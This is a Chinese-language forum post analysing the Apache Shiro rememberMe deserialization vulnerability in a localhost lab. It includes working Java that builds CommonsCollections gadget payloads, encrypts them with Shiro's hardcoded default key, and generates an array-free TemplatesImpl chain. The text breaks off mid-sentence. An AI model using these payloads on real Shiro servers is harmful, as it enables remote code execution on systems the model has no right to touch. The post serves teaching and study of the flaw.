taibeihacker
Moderator
Shiro 反序列化漏洞原理分析
1 概述
Apache Shiro 在Java 的權限及安全驗證框架中佔用重要的一席之地,在它編號為550 的issue 中爆出嚴重的Java 反序列化漏洞。Shiro反序列化漏洞的原理比較簡單:為了讓瀏覽器或服務器重啟後用戶不丟失登錄狀態,Shiro 支持將持久化信息序列化並加密後保存在Cookie 的rememberMe 字段中,下次讀取時進行解密再反序列化。但是在Shiro 1.2.4 版本之前內置了一個默認且固定的加密Key,導致攻擊者可以偽造任意的rememberMe Cookie,進而觸發反序列化漏洞。
前面的文章,介紹了Commons-Collections 鏈的各種Gadget,分為兩種利用方式:一種是InvokerTransformer,通過Runtime.exec() 命令執行;另一種是TemplatesImpl,通過加載類字節碼的形式代碼執行。
本文先以一個實際的例子—— Shiro 反序列化漏洞,來實際使用一下TemplatesImpl 。
2 漏洞环境搭建
利用靶場搭建漏洞環境,整個項目只有兩個代碼文件,index.jsp 和login.jsp,依賴這塊也僅有下面幾個:shiro-core、shiro-web,這是shiro 本身的依賴
javax.servlet-api、jsp-api,這是JSP 和Servlet 的依賴,僅在編譯階段使用,因為Tomcat 中自帶這兩個依賴
slf4j-api、slf4j-simple,這是為了顯示shiro 中的報錯信息添加的依賴
commons-logging,這是shiro 中用到的一個接口,不添加會爆java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 錯誤
commons-collections,為了演示反序列化漏洞,增加了commons-collections 依賴
使用Maven 將項目打包成war 包,放在Tomcat 的webapps 目錄下。然後訪問http://localhost:8080/shirodemo/,會跳轉到登錄頁面:

然後輸入正確的賬號密碼,root/secret,可以成功登錄。
如果登錄時選擇了remember me 的多選框,則登錄成功後服務端會返回一個rememberMe 的Cookie。
3 使用 CC6 攻击 Shiro
3.1 概述
整個攻擊過程如下:使用CommonsCollections 利用鏈生成一個序列化Payload
使用Shiro 默認Key 進行加密
將密文作為rememberMe 的Cookie 發送給服務端
3.2 包含数组的反序列化 Gadget
12
3
4
5
6
7
8
9
10
11
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
public static void main(String []args) throws Exception {
byte[] payloads=new CommonsCollections6().getPayload('calc.exe');
AesCipherService aes=new AesCipherService();
byte[] key=java.util.Base64.getDecoder().decode('kPH+bIxk5D2deZiIxcaaaA==');
ByteSource ciphertext=aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
加密的過程,使用的shiro 內置的類org.apache.shiro.crypto.AesCipherService ,最後生成一段base64 字符串。

直接將這段字符串作為rememberMe 的值(不做url 編碼),發送給shiro。結果Tomcat 出現了報錯:

找到最後一個異常信息org.apache.shiro.io.ClassResolvingObjectInputStream,可以看到,這是一個ObjectInputStream 的子類,其重寫了resolveClass 方法:

resolveClass 是反序列化中用來查找類的方法,在讀取序列化流的時候,讀到一個字符串形式的類名,需要通過這個方法來找到對應的java.lang.Class 對象。
對比一下它的父類,也就是正常的ObjectInputStream 類中的resolveClass 方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Class? resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException
{
String name=desc.getName();
try {
return Class.forName(name, false, latestUserDefinedLoader());
} catch (ClassNotFoundException ex) {
Class? cl=primClasses.get(name);
if (cl !=null) {
return cl;
} else {
throw ex;
}
}
}
會發現,前者用的是org.apache.shiro.util.ClassUtils#forName,而後者用的是Java 原生的Class.forName。
在異常捕捉的位置下個斷點,看看是哪個類觸發了異常:

可見,出異常時加載的類名為[Lorg.apache.commons.collections.Transformer;其實就是表示org.apache.commons.collections.Transformer 的數組。
3.2.1 Class.forName 和 ClassLoader.loadClass 的区别
當使用ClassLoader.loadClass(String name) 時,name 必須是Java 語言規範定義的二進制名稱,並不包括數組類;類加載器負責加載類的對象,數組類的類對像不是由類加載器創建的,而是根據Java 運行時的要求自動創建的。以下面代碼為例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package ClassLoaderDemo;
public class ClassLoaderDemo {
public static void main(String[] args) throws ClassNotFoundException {
String c1name='test1'.getClass().getName();
String c2name=new String[]{'test2'}.getClass().getName();
System.out.println(c1name);
System.out.println(c2name);
Class.forName(c1name);
Class.forName(c2name);
ClassLoaderDemo.class.getClassLoader().loadClass(c1name);
ClassLoaderDemo.class.getClassLoader().loadClass(c2name);
}
}

3.2.2 真实原因
網上大部分分析原因都是說Class.forName() 與ClassLoader.loadClass() 的區別導致shiro 反序列化時不能加載數組,這個原因不完全準確。其實是shiro 加載Class 最終調用的是Tomcat 下的webappclassloader,該類會使用Class.forName() 加載數組類,但是使用的classloader 是URLClassLoader,只會加載tomcat/bin、tomcat/lib、jre/lib/ext 下面的類數組,無法加載三方依賴jar 包。
總之,如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误。因為CC6 用到了Transformer 數組,因此沒法正常反序列化。
3.3 不包含数组的反序列化 Gadget
這裡利用wh1t3p1g 的思路。使用TemplatesImpl.newTransformer 函數來動態loadClass 構造好的evil class bytes。並且在這部分利用鏈上是不存在數組類型的對象的。如何觸發TemplatesImpl.newTransformer的方法?
先來回顧一下CommonsCollections2 的利用鏈:
1
2
3
4
5
6
7
8
9
PriorityQueue.readObject
- PriorityQueue.heapify()
- PriorityQueue.siftDown()
- PriorityQueue.siftDownUsingComparator()
- TransformingComparator.compare()
- InvokerTransformer.transform()
- TemplatesImpl.newTransformer()
. templates Gadgets .
- Runtime.getRuntime().exec()
在這條鏈上,由於TransformingComparator 在3.2.1 的版本上還沒有實現Serializable 接口,其在3.2.1 版本下是無法反序列化的。所以無法直接利用該payload來達到命令執行的目的。
在InvokerTransformer.transform() 中,根據傳入的input 對象,調用其iMethodName 方法。如果此時傳入的input 為構造好的TemplatesImpl 對象呢?這樣就可以通過將iMethodName 置為newTransformer,從而完成後續的templates gadgets。
在ysoserial 的利用鏈中,關於transform 函數接收的input 存在兩種情況:
配合ChainedTransformer
無意義的String,這裡的無意義的String 指的是傳入到ConstantTransformer.transform 函數的input,該transform 函數不依賴input,而直接返回iConstant
從CommonsCollection6 開始,用到了TiedMapEntry,其作為中繼,調用了LazyMap(map)的get 函數。
其中map 和key 都可以控制,而LazyMap.get 調用了transform 函數,並將可控的key 傳入transform 函數:

這樣就將構造好的TemplatesImpl(key)作為InvokerTransformer.transform 函數的input 傳入,就可以把templates gadgets 串起來了。
這裡整理一下這條鏈的調用過程:
1
2
3
4
5
6
7
8
9
10
java.util.HashSet.readObject()
- java.util.HashMap.put()
- java.util.HashMap.hash()
- org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
- org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
- org.apache.commons.collections.map.LazyMap.get()
- org.apache.commons.collections.functors.InvokerTransformer.transform()
- java.lang.reflect.Method.invoke()
. templates gadgets .
- java.lang.Runtime.exec()
4 实战 - CommonsCollectionsK1
首先還是創建TemplatesImpl 對象:1
2
3
4
TemplatesImpl obj=new TemplatesImpl();
setFieldValue(obj, '_bytecodes', new byte[][] {'.bytescode'});
setFieldValue(obj, '_name', 'HelloTemplatesImpl');
setFieldValue(obj, '_tfactory', new TransformerFactoryImpl());
創建一個用來調用newTransformer 方法的InvokerTransformer,但注意的是,此時先傳入一個正常的方法,比如getClass ,避免惡意方法在構造Gadget 的時候觸發:
1
Transformertransformer=new InvokerTransformer('getClass',null,null);
再把之前的CommonsCollections6 的代碼複製過來,將原來TiedMapEntry 構造時的第二個參數key,改為前面創建的TemplatesImpl 對象:
1
2
3
4
5
6
Map innerMap=new HashMap();
Map outerMap=LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme=new TiedMapEntry(outerMap, obj);
Map expMap=new HashMap();
expMap.put(tme, 'valuevalue');
outerMap.clear();
完整代碼如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.govuln.shiroattack;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayOutputStream;
import java.i

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public byte[] getPayload(byte[] clazzBytes) throws Exception {
TemplatesImpl obj=new TemplatesImpl();
setFieldValue(obj, '_bytecodes', new byte[][]{clazzBytes});
setFieldValue(obj, '_name', 'HelloTemplatesImpl');
setFieldValue(obj, '_tfactory', new TransformerFactoryImpl());
Transformer transformer=new InvokerTransformer('getClass', null, null);
Map innerMap=new HashMap();
Map outerMap=LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme=new TiedMapEntry(outerMap, obj);
Map expMap=new HashMap();
expMap.put(tme, 'valuevalue');
outerMap.clear();
setFieldValue(transformer, 'iMethodName', 'newTransformer');
//==================
//生成序列化字符串
ByteArrayOutputStream barr=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
return barr.toByteArray();
}
}

這一個Gadget 其實也就是XRay 和Koalr 師傅的Common